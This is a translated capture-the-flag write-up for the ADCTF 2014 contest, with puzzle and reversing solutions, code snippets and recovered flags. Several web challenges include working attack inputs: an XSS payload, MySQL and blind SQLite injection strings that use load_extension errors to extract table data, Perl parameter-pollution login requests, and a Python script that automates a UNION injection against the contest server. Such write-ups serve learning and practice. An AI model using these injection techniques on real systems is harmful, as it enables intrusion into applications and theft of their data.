Aditional note: This is a translated version of the original project gist.github.com/st98/memo.md
We participated as Bok Team omakase. The final score was 173 points and the team was ranked 24th (out of 505 teams). We solved the problems on days 1 to 14, 21 to 22 and 25.
'0x41444354465f57334c43304d335f37305f414443374632303134'.match(/[0-9a-f]{2}/g).map(function(c){return String.fromCharCode(parseInt(c, 16))}).join('');
flag: ADCTF_W3LC0M3_70_ADC7F2014
# Python 3
import codecs
codecs.decode('41444354465f57334c43304d335f37305f414443374632303134', 'hex') # b'ADCTF_W3LC0M3_70_ADC7F2014'
# Python 2
'41444354465f57334c43304d335f37305f414443374632303134'.decode('hex') # 'ADCTF_W3LC0M3_70_ADC7F2014'
- I solved it the first time.
- The important part of the script is obfuscated, but if you type
alert
in the DevTools Console, it comes up in a somewhat readable form. - Use jsbeautifier to format the content of the alert, and extract the part that displays the flag and run it.
f = 0;
cs = [5010175210, 5010175222, 5010175227, 5010175166, 5010175224, 5010175218, 5010175231, 5010175225, 5010175166, 5010175223, 5010175213, 5010175140, 5010175166, 5010175199, 5010175194, 5010175197, 5010175178, 5010175192, 5010175169, 5010175191, 5010175169, 5010175146, 5010175187, 5010175169, 5010175146, 5010175218, 5010175149, 5010175180, 5010175210, 5010175169, 5010175187, 5010175146, 5010175216];
t = '';
for (i = 0; i < cs.length; i++) {
t += String.fromCharCode(cs[i] ^ 0x123456789 + 123456789)
}
appendTweet('<b>' + t + '</b>')
- Or
f = 1
to deal with the firstif (!f)
.
f = 1;
alert('XSS');
flag: ADCTF_I_4M_4l3Rt_M4n
- The above solution is cheating by any measure, so I tried the right way?
- Since
<script>...</script>
didn't work, load a non-existent file with img and fire onerror to alert - As you can see
t = tweet.replace(/['"]/g, '');
in the source, ' and " are removed, so useRegExp#source
to fix it.
<img src=_ onerror=alert(/XSS/.source)>
- Is there something wrong with the header of listen.wav?
- Get the 10~1F in listen.wav from some other wav file.
- If you slow it down a bit in Audacity or something, you can hear "The flag is all capital letters. and you can hear the flag.
flag: ADCTF_SOUNDS_GOOD
- The solution was a bit of a mess, so I looked at WAV file format and tried to find something wrong.
- If you look at it from the top, it looks like the 4 bytes of the sampling rate are swapped with the 4 bytes before it, so swap them
- Then slow it down as before and you can hear the flag
file easyone # easyone: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
- Do
objdump -d easyone
for now. - Copy
movb $0x37,-0x2a(%rbp) ...
in main. - Processing with JavaScript
var s = 'movb $0x37,-0x2a(%rbp)\n\
...
movb $0x44,-0x2f(%rbp)'.split('\n');
s = s.map(function (s) {
return [
String.fromCharCode(parseInt(s.match(/\$0x([0-9a-f]{2})/)[1], 16)),
parseInt(s.match(/-0x([0-9a-f]{2})/)[1], 16)
];
});
console.log(s.sort(function (a, b) {
if (a[1] > b[1]) {
return -1;
}
return a[1] != b[1];
}).map(function (a) {
return a[0];
}).join(''));
flag: ADCTF_7H15_15_7oO_345y_FOR_M3
- I was the second to solve it.
- A shooting game using enchant.js
- I've tweaked the hit detection so that it only hits the enemy and not the player.
- After executing the code below, press and hold for a while and a flag will appear.
alert = console.log.bind(console); // If you don't bind, you'll get an Illegal invocation...
Sprite.prototype.intersect = function () { return true; };
Sprite.prototype.within = function () { return false; };
flag: ADCTF_1mP05518L3_STG
- How not to play the game
- shooting.min.js to JavaScript beautifier Read it formatted in
for (var e = 0; e < b.length; e++) { c[e] -= b[e].charCodeAt(0); c[e] = Math.round(c[e] * 10) / 10 }
andvar n = new h(300, e * 16, .01, 9999, c[e ^ b.length]);
soP[e] = String.fromCharCode(E[e].c * 10 ^ 255)
I'm trying to decrypt the flag around?- Do it yourself decryption
var b, c, e, s = '';
b = ["\x63", "\x68", "\x65", "\x65", "\x72", "\x75", "\x70", "\x2c", "\x20", "\x6b", "\x65", "\x65", "\x70", "\x20", "\x67", "\x6f", "\x69", "\x6e", "\x67", "\x21"];
c = [107.4, 126.1, 131.2, 120.3, 130, 134.2, 129.1, 62.4, 55.5, 126.3, 133.3, 111.2, 120.2, 43.1, 122.3, 139.4, 123.5, 126, 123.6, 47.6, 19, 18.7, 18.8, 17.1, 20.6, 19.9, 17.9, 20.4, 17.5, 20.7, 20.2, 20.2];
for (e = 0; e < b.length; e++) {
c[e] -= b[e].charCodeAt(0);
c[e] = Math.round(c[e] * 10) / 10;
}
for (e = 0; e < 20; e++) {
s += String.fromCharCode(c[e ^ b.length] * 10 ^ 255);
}
console.log(s); // "ADCTF_1mP05518L3_STG"
- What is reversing...
- Solved using Dijkstra method, I couldn't write it by myself so I used a library to solve it.
flag: ADCTF_G0_go_5hOr7E57_PaTh
- The barcode is CODE-93
- Specifications Writing a decoder while watching
- U+2588 (FULL BLOCK), U+258C (LEFT HALF BLOCK), U+2590 (RIGHT HALF BLOCK)
import re
import socket
import sys
def split(s, n):
return re.findall(r'.{' + str(n) + r'}|.+', s)
def decode(s):
# http://www.n-barcode.com/shurui/code-93.html
s = split(s, 9)
r = ''
for x in s[1:-4]:
r += {
'100010100': '0',
'101001000': '1',
'101000100': '2',
'101000010': '3',
'100101000': '4',
'100100100': '5',
'100100010': '6',
'101010000': '7',
'100010010': '8',
'100001010': '9',
'110101000': 'A',
'110100100': 'B',
'110100010': 'C',
'110010100': 'D',
'110010010': 'E',
'110001010': 'F',
'101101000': 'G',
'101100100': 'H',
'101100010': 'I',
'100110100': 'J',
'100011010': 'K',
'101011000': 'L',
'101001100': 'M',
'101000110': 'N',
'100101100': 'O',
'100010110': 'P',
'110110100': 'Q',
'110110010': 'R',
'110101100': 'S',
'110100110': 'T',
'110010110': 'U',
'110011010': 'V',
'101101100': 'W',
'101100110': 'X',
'100110110': 'Y',
'100111010': 'Z',
'100101110': '-',
'111010100': '.',
'111010010': ' '
}.get(x, '*')
return r
def to_b(s):
m = re.findall(rb'\xe2\x96[\x88\x8c\x90]| +', s)
return ''.join([{
b'\xe2\x96\x88': '11',
b'\xe2\x96\x8c': '10',
b'\xe2\x96\x90': '01'
}.get(x, x.decode('utf-8').replace(' ', '0')) for x in m])
def main(host='adctf2014.katsudon.org', port=43010):
sock = socket.create_connection((host, port), 3)
sock.settimeout(3)
while True:
r = sock.recv(1024)
if b'\n' not in r:
r += sock.recv(1024)
print('[*]', r)
s = to_b(r[:-1])
print('[*]', s)
print('[*]', decode(s))
sock.send(decode(s).encode() + b'\n')
i = input()
if 'q' in i:
break
sock.close()
if __name__ == '__main__':
main(*sys.argv[1:])
flag: ADCTF_4R3_y0U_B4rC0d3_R34D3r
- First identify the key used in flag.jpg.enc
- Take a JPEG file of your choice and pass it to rotate.py, key is a random number
- If *.enc starts with
a8 5d 08 42
at the beginning of flag.jpg.enc, then the key you passed to rotate.py is the key used in flag.jpg.enc - If you leave it alone, you'll get 123
import subprocess
for x in range(360):
subprocess.call('python279 rotate.py jpeg')
if open('jpeg.enc', 'rb').read().startswith(b'\xa8\x5d\x08\x42'):
print('[*]', x)
break
- 戻す
import math
import struct
def split(l, n):
return [l[x:x + n] for x in range(0, len(l), n)]
p = lambda x: struct.pack('b', round(x))
u = lambda x: struct.unpack('f', x)[0]
d = open('flag.jpg.enc', 'rb').read()
d = [u(x) for x in split(d, 4)]
key = math.radians(-123)
f = open('flag.jpg'.format(key), 'wb')
for i in range(0, len(d), 2):
x, y = d[i], d[i + 1]
f.write(p(x * math.cos(key) - y * math.sin(key)) + \
p(x * math.sin(key) + y * math.cos(key)))
flag: ADCTF_TR0t4T3_f4C3
- The picture they gave me was weird.
- Split
from PIL import Image
p = 'images/{:04x}.png'
im = Image.open('qrgarden.png')
for x in range(100):
for y in range(100):
o = Image.new('RGB', (87, 87))
o.paste(im.crop((x * 87, y * 87, (x + 1) * 87, (y + 1) * 87)), (0, 0))
o.save(p.format(x + 100 * y))
- 文字にする
from PIL import Image
for n in range(100 * 100):
s = ''
im = Image.open('images/{:04x}.png'.format(n))
for y in range(29):
for x in range(29):
s += 'X' if im.getpixel((x * 3, y * 3)) == (0, 0, 0) else '_'
s += '\n'
open('txt/{:04x}.txt'.format(n), 'w').write(s)
- waidotto/strong-qr-decoder を使ってデコードしまくる
- Stop when
ADCTF_
is encountered.
import subprocess
for n in range(100 * 100):
print('[*]', n)
s = subprocess.check_output(['python279', 'strong-qr-decoder/sqrd.py', 'txt/{:04x}.txt'.format(n)])
if s.startswith(b'ADCTF_'):
print(s)
break
flag: ADCTF_re4d1n9_Qrc0de_15_FuN
- Rewrite in JavaScript
function f(a) {
var i;
a = a.slice();
for (i = 0; i < a.length; i++) {
if (i > 0) a[i] ^= a[i - 1];
a[i] ^= a[i] >> 4;
a[i] ^= a[i] >> 3;
a[i] ^= a[i] >> 2;
a[i] ^= a[i] >> 1;
}
return a;
}
- Keep trying, Leet-like flags starting with
ADCTF_
.
var i, s, a;
function g(a, n) {
for (;n--;) {
a = f(a);
}
return a;
}
a = '712249146f241d31651a504a1a7372384d173f7f790c2b115f47'.match(/[0-9a-f]{2}/g).map(function (s) {
return parseInt(s, 16);
});
for (i = 0; i < 50; i++) {
s = String.fromCharCode.apply(null, g(a, i));
if (s.startsWith('ADCTF_')) {
console.log(s);
}
}
flag: ADCTF_51mpl3_X0R_R3v3r51n6
- I don't think I can SQLi from /search
- So I change the User-Agent in / to attack it, and I can do SQLi because
'
is not erased. - If I change User-Agent to
A', '127.0.0.1');#
,A
will be logged, I'll change theA'
part and attack. - First of all, check how to concatenate strings, DB is MySQL (guessed from
DBI->connect('dbi:mysql:blacklist'
in source), soconcat('A', 'B')
. - If you use SQLite,
'A'|| 'B'
becomes'AB'
, so you can use' || (select * from flag), '127.0.0.1');--
, but not this time... '' + 1
is1
, so we can use ithex('ABCD')
would be'41424344'
,conv('41424344', 16, 10)
would be1094861636
.- So
' + conv(hex((select * from flag)), 16, 10), '127.0.0.1);#'
will log1094861636
if the flag isABCD
, for example. - In fact, it should be longer, so you can try to cut it with
substring
or something. - The
length(hex((select * from flag))))
is66
, and you'll get the flag if you do it about 9 times.
flag: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT
- A problem that I feel I've solved in a troublesome way and I'm worried about the assumed solution.
- The first one is
$agent =~ s!/\*. *\*/! !g;
and$agent =~ /\)\s*,\s*\(/
I was trying to figure out how to get around this - Wouldn't it be
//**/** => /**
? but I thought it would be difficult if it was the longest, so I looked for another way. - Trial and error
- I'm looking at it with
objdump -D bruteforce
and I seemov al,0x23; syscall
every now and then. - Looking up the x86_64 system call number, 0x23 is sys_nanosleep
- Since nanosleep is annoying, I nop syscall (0f 05).
- Find the part of the flag display from 0x400780 and the part that jumps to 0x400780
- compare with
cmp rax,QWORD PTR [rip+0x200969]
at 0x400708 and jump to 0x400780 if it is equal toje 400780
. - If you look at
rip+0x200969
, or 0x601078, asx/qx 0x601078
in gdb, you get0x00989680
, or10000000
in decimal. - If you change
0x00989680
to100
and run it, you getthe flag is: ADCTF_541
. - When I change
0x00989680
to100
and run it, it saysthe flag is: ADCTF_541
. When I change it to1000
and run it, it saysthe flag is: ADCTF_7919
after a while. - Since
541
is the 100th prime number and7919
is the 1000th prime number,ADCTF_{10000000th prime number}
should be the flag.
flag: ADCTF_179424673
- Reference : New Class of Vulnerability in Perl Web Applications Introduction of - Tokumaru Hiroshi's Diary
- Create a user with register as appropriate
- login に
name=...&pass=...&pass=admin&pass=1&pass=give_me_flag&pass=1&pass=
を送る - The
pass=
at the end is necessary to prevent admin and give_me_flag from being set to 0
flag: ADCTF_L0v3ry_p3rl_c0N73x7
- It says
we recorded your IP and user agent.
So I changed User-Agent to'
and got the error - I guessed it was blind SQLi, judging by whether or not an error occurred.
' || sqlite_version() || '
did not give an error, so SQLite' || (select tbl_name from sqlite_master where type = 'table') || '
so table name is recorded- with
substr(str, index, 1)
, truncating with... >= 'A'
and repeat the comparison to narrow it down. - but
' || substr((select tbl_name from sqlite_master where type = 'table'), 1, 1) >= 'z' || '
is'0'
, so no error... - Then what? => conditional branch, if not,
load_extension
will load a file that doesn't exist and raise an error ' || (select case when substr(tbl_name, 28, 1) >= '0' then 'a' else load_extension('a') end from sqlite_master limit 1 offset 1) || '
Repeat like this to see which table contains the flag to find out which tables contain the flag,super_secret_flag__Ds7KLcV9
.- You can also check the column containing the flag,
' || (select case when substr(sql, 75, 1) = 'i' then 'a' else load_extension('a') end from sqlite_master limit 1 offset 1) || '
,yo _yo_you_are_enjoying_blind_sqli
. - Examine the flag at the end,
' || (select case when substr(yo_yo_you_are_enjoying_blind_sqli, 1, 1) = 'A' then 'a' else load_extension('a') end from super_secret _flag__Ds7KLcV9 limit 1 offset 0) || '
flag: ADCTF_ERR0r_hELP5_8L1nd_5Ql1
- I'm tired because I didn't use any script at all.
- If
token
is' union select 1;--
,otp expired at 1
is displayed. ' or 1 limit 1 offset 100;--
' and 0 union select (token || '|' || pass) from (select '' as token, '' as pass, '' as _ union select * from otp) limit 1;--
to expire token and pass- If you write a script and run it, you will get a flag
import re
import requests
url = 'http://otp.adctf2014.katsudon.org/'
q = "' and 0 union select pass from (select '' as token, '' as pass, '' as _ union select * from otp) where token = '{}';--"
def main():
c = requests.get(url).content.decode('ascii')
token = re.findall(r'[0-9a-f]{16}', c)[0]
c = requests.post(url, {
'token': q.format(token),
'pass': ''
}).content.decode('ascii')
password = re.findall(r'[0-9a-f]{32}', c)[0]
c = requests.post(url, {
'token': token,
'pass': password
}).content.decode('ascii')
print('[*]', re.findall(r'(the flag is: [^<]+)', c)[0])
if __name__ == '__main__':
main()
flag: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5
- Separate the part of the regex from the part that is doing something, the back part looks like the part that is doing something when viewed in a binary editor
- Checking the part that is doing something
unpack('B*', 'A')
is01000001
andunpack('B*', 'ABCD')
is010000011010000100100001101000100
.- The mysterious syntax
(()= $RE =~ /(,)/g)
, written in Perl's inedible - operators (()= $RE =~ /(,)/g) + 1)
is768
.- Checking the regular expression part
[01][01]
something like. {2}
to make it more readable,document.body.innerHTML = document.body.innerHTML.replace(/(\[01])+/g, function (m) { return '. {' + String(m.length / 4) + '}' });
- If you separate them with a comma, you'll see that they're all
(? :. {64}(? :0.{71}|. {71}0). {120})
. - The inner
(? If you collect the
0and
1of the inner
(? :...)`, the flag is ? - Don't know if the left side or the right side is correct?
- The MSB is not likely to stand, and the flag is likely to start with
ADCTF_
, so you can narrow it down to some extent.
var _slice = Array.prototype.slice;
var s = document.body.innerText.replace(/(\[01])+/g, function (m) {
return '.{' + String(m.length / 4) + '}';
}).slice(1, -1);
s = s.split(',').map(function (e) {
// '(?:.{134}(?:1.{98}|.{98}0).{23})'.match(/…/); => ["(?:.{134}(?:1.{98}|.{98}0).{23})", "134", "1", "98", "0"]
// '(?:(?:0.{72}|.{72}1).{183})' => ["(?:(?:0.{72}|.{72}1).{183})", undefined, "0", "72", "1"]
// '(?:.{256})'.match(/…/); => ["(?:.{256})", "256", undefined, undefined, undefined]
return _slice.call(e.match(/\(\?:(?:\.\{(\d+)\})?(?:\(\?:([01])\.\{(\d+)}\|\.\{\d+}([01])\))?(?:\.\{\d+})?\)/), 1);
});
var r = [];
s.forEach(function (e) {
// (?:a|b)
var a, b;
if (e[0] === '256') {
return;
}
if (e[0] == null) {
e[0] = 0;
}
e = e.map(function (n) {
return parseInt(n, 10);
});
a = { used: false, isSolution: null, index: e[0], value: e[1] };
b = { used: false, isSolution: null, index: e[0] + e[2], pair: a, value: e[3] };
a.pair = b;
if (r[a.index] == null) {
r[a.index] = [];
}
r[a.index].push(a);
if (r[b.index] == null) {
r[b.index] = [];
}
r[b.index].push(b);
});
var i;
for (i = 0; i < r.length; i += 8) {
r[i].forEach(function (e) {
e.used = true;
e.isSolution = e.value === 0;
e.pair.used = true;
e.pair.isSolution = e.value !== 0;
});
}
function g(a) {
var i, v;
for (i = 0; i < a.length; i++) {
if (a[i].used) {
v = a[i].isSolution ? a[i].value : +!a[i].value;
break;
}
}
if (v == null) {
return;
}
for (i = 0; i < a.length; i++) {
if (!a[i].used) {
a[i].used = true;
a[i].isSolution = a[i].value === v;
a[i].pair.used = true;
a[i].pair.isSolution = a[i].value !== v;
}
}
}
for (i = 0; i < r.length; i++) {
g(r[i]);
}
r.map(function (e) {
return e.filter(function (a) {
return a.isSolution;
})[0];
}).map(function (c) {
return c === undefined ? 0 : c.value;
}).join('').match(/.{8}/g).map(function (n) {
return String.fromCharCode(parseInt(n, 2));
}).join(''); // => 'ADCTF_l091C4L_r39Ul4r_3xpR3ss10N'
flag: ADCTF_l091C4L_r39Ul4r_3xpR3ss10N
flag: ADCTF_m3RRy_ChR157m42